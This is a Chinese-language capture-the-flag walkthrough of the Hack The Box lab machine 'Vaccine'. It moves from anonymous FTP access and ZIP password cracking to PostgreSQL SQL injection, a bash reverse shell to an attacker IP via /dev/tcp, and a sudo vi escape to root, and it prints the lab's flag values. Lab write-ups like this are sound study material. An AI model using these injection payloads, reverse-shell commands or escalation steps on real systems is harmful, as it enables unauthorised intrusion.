[StartingPoint][Tier2]Vaccine
字数 1005 2025-08-19 12:42:38
渗透测试实战:从FTP匿名访问到Root提权
1. 信息收集与初始访问
1.1 端口扫描与服务识别
使用nmap进行快速扫描,识别开放端口和服务:
nmap -sS -T4 10.129.230.43 --min-rate 1000
发现服务:
- SSH (通常为22端口)
- HTTP (通常为80端口)
- FTP (21端口)
1.2 FTP匿名访问
FTP服务允许匿名登录,使用以下凭证:
- 用户名:
anonymous - 密码:任意(可留空)
连接FTP并下载文件:
ftp 10.129.230.43
Name: anonymous
Password: [回车]
> ls
> get backup.zip
2. 密码破解与网站访问
2.1 破解ZIP密码
使用John the Ripper工具集中的zip2john生成哈希:
zip2john backup.zip > hashes
创建自定义字典文件wordlist.txt:
admin
admin123
password
password123
741852963
741852962
使用John进行破解:
john --wordlist=./wordlist.txt hashes
或者使用hashcat:
echo 2cb42f8734ea607eefed3b70af13bbd3 > hash
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
破解结果:qwerty789
2.2 登录网站后台
使用破解的密码qwerty789和可能的用户名组合(如admin)登录网站后台。
3. SQL注入与命令执行
3.1 发现SQL注入点
在网站搜索功能中发现SQL注入漏洞。
3.2 使用sqlmap进行利用
获取交互式shell:
sqlmap --os-shell
或者手动构造注入payload:
- 删除现有表(如果存在):
http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
- 创建新表存储命令输出:
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
- 执行系统命令并存储结果(注意URL编码):
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -
3.3 获取反向shell
通过SQL注入执行反向shell命令,连接到攻击者机器:
bash -c "bash -i >& /dev/tcp/10.10.16.6/10032 0>&1"
4. 权限提升
4.1 查看网站配置文件
cat /var/www/html/dashboard.php
获取数据库凭据,用于SSH登录。
4.2 检查sudo权限
sudo -l
输出显示postgres用户可以以root权限运行/bin/vi编辑/etc/postgresql/11/main/pg_hba.conf文件。
4.3 利用vi提权
方法一:直接执行shell
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:!/bin/sh
方法二:设置shell后执行
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/bash
:shell
5. 获取flag
5.1 用户flag
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
5.2 root flag
cat /root/root.txt
dd6e058e814260bc70e9bbdef2715849
总结:完整攻击路径
- FTP匿名访问 → 下载网站源码备份(backup.zip)
- 使用zip2john爆破ZIP密码(qwerty789)
- 分析泄露源码 → 发现网站后台登录
- 利用SQL注入获取命令执行能力
- 通过dashboard.php泄露的凭据SSH登录
- sudo -l发现postgres用户可root运行/bin/vi
- 利用vi编辑器功能提权到root